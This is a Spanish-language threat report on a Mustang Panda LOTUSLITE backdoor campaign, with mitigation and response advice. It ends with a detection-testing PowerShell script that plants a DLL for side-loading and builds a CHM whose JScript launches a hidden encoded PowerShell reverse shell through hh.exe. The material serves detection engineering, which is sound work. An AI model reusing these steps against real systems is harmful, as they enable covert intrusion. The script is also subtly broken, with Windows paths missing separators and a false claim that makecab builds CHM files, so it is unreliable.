Mismo paquete, magia diferente: Mustang Panda ataca el sector bancario de India y la geopolítica de Corea

Resumen

La Unidad de Investigación de Amenazas de Acronis descubrió una nueva variante de backdoor LOTUSLITE que tiene como objetivo a organizaciones en el sector bancario de la India y a individuos relacionados con asuntos diplomáticos de Corea del Sur. El malware se despliega a través de la carga lateral de DLL, utilizando un ejecutable legítimo firmado por Microsoft para cargar una biblioteca maliciosa, y luego se comunica con un servidor de comando y control basado en DNS dinámico a través de HTTPS. Basado en patrones de infraestructura y superposiciones de técnicas, los investigadores atribuyeron la actividad a Mustang Panda con confianza moderada.

Investigación

Los analistas examinaron un archivo CHM malicioso, un cargador basado en JavaScript, y un Microsoft_DNX.exe binario que cargó lateralmente una DLL con la carga útil de LOTUSLITE. Su análisis reveló actualizaciones en funciones exportadas, convenciones de nomenclatura de mutex, opciones de línea de comandos, valores mágicos de paquetes y métodos de resolución de API. El equipo también vinculó la operación con campañas anteriores de Mustang Panda a través de dominios gestionados por Dynu y la infraestructura de IP asociada.

Mitigación

Los defensores deben evitar la carga no autorizada de DLL en ejecutables firmados por Microsoft de confianza, monitorear los patrones de mutex identificados y los argumentos de línea de comandos modificados, y aplicar controles estrictos alrededor del tráfico de DNS dinámico. Los equipos de seguridad también deben detectar el valor mágico distintivo del paquete 0xB2EBCFDF y observar las modificaciones de clave ejecutar de HKCU que pueden indicar persistencia.

Respuesta

Si se detecta esta actividad, aísle el sistema afectado de inmediato, termine el proceso malicioso y elimine tanto la DLL cargada lateralmente como el ejecutable abusado del disco. Debe capturarse la memoria para análisis forense, revocar las credenciales expuestas, y bloquear los dominios de comando y control e IP identificados. También debe realizarse una búsqueda más amplia en el entorno para los artefactos de persistencia basados en mutex y registro vinculados a la campaña.

Ejecución de Simulación

Prerrequisito: La Verificación Previa de Telemetría y Línea de Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativa DEBEN reflejar directamente los TTPs identificados y pretenden generar la telemetría exacta esperada por la lógica de detección.

• Narrativa de Ataque & Comandos:

  1. Etapa DLL maliciosa:

     • El atacante copia una DLL maliciosa (lotuslite.dll) en el mismo directorio que el Microsoft_DNX.exelegítimo. Esta DLL contiene la carga útil del backdoor.

  2. Ejecutar carga lateral de DLL a través de Microsoft_DNX.exe:

     • Al lanzar Microsoft_DNX.exe sin argumentos, Windows carga primero la DLL maliciosa (debido al secuestro del “orden de búsqueda”), ejecutando el backdoor.

  3. Crear CHM malicioso:

     • Un archivo CHM (evil.chm) es creado conteniendo JavaScript que, al renderizarse, lanza un shell inverso de PowerShell.

  4. Activar JavaScript a través de hh.exe:

     • El atacante ejecuta hh.exe evil.chm, causando que el ejecutable de Ayuda HTML analice el CHM y ejecute el script incrustado, logrando así la ejecución de código bajo un binario firmado.

  Esta secuencia genera dos eventos de Creación de Proceso de Sysmon distintos que coinciden con las condiciones de la regla de detección.

• Script de Prueba de Regresión:

  # -------------------------------------------------------------------------
  # Simulación de LotusLite – Carga Lateral de DLL + Ejecución CHM de hh.exe
  # -------------------------------------------------------------------------
  # Prerrequisitos:
  #   - Sysmon instalado y reenviando logs.
  #   - Privilegios de administrador (requeridos para escritura en Archivos de Programa).
  
  $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
  $dnxDir  = Split-Path $dnxPath -Parent
  
  # 1. Implementar DLL maliciosa (carga simulada)
  $malDllSource = "C:Templotuslite.dll"      # <-- reemplazar con la ruta real de la carga
  $malDllDest   = Join-Path $dnxDir "lotuslite.dll"
  Copy-Item -Path $malDllSource -Destination $malDllDest -Force
  
  # 2. Lanzar Microsoft_DNX.exe para activar carga lateral de DLL
  Write-Host "[*] Lanzando Microsoft_DNX.exe para carga lateral de DLL..."
  Start-Process -FilePath $dnxPath -WindowStyle Hidden
  
  # 3. Crear CHM malicioso conteniendo JavaScript (ejemplo simplificado)
  $chmPath = "C:Tempevil.chm"
  $htmlContent = @"
  <HTML><HEAD>
  <SCRIPT language=`"JScript`">
  var shell = new ActiveXObject("WScript.Shell");
  shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0);
  </SCRIPT>
  </HEAD><BODY></BODY></HTML>
  "@
  
  $tempHtml = "C:Tempevil.html"
  $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII
  
  # Usar makecab para empaquetar el HTML en un CHM (se requieren herramientas del SDK de Windows)
  $makeCab = "$env:WINDIRsystem32makecab.exe"
  & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath
  
  # 4. Ejecutar el CHM vía hh.exe
  Write-Host "[*] Lanzando hh.exe sobre CHM malicioso..."
  Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden
  
  # Limpiar archivos temporales (retener DLL maliciosa para análisis post-ejecución)
  Remove-Item $tempHtml -Force
  Write-Host "[*] Simulación completa."

• Comandos de Limpieza:

  # -------------------------------------------------------------------------
  # Limpieza para Simulación de LotusLite
  # -------------------------------------------------------------------------
  $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
  $dnxDir  = Split-Path $dnxPath -Parent
  $malDllDest = Join-Path $dnxDir "lotuslite.dll"
  $chmPath = "C:Tempevil.chm"
  
  # Eliminar DLL maliciosa
  if (Test-Path $malDllDest) {
      Remove-Item $malDllDest -Force
      Write-Host "[*] DLL maliciosa eliminada."
  }
  
  # Eliminar CHM
  if (Test-Path $chmPath) {
      Remove-Item $chmPath -Force
      Write-Host "[*] CHM malicioso eliminado."
  }
  
  # Opcionalmente terminar procesos persistentes (si los hay)
  Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force
  Write-Host "[*] Limpieza terminada."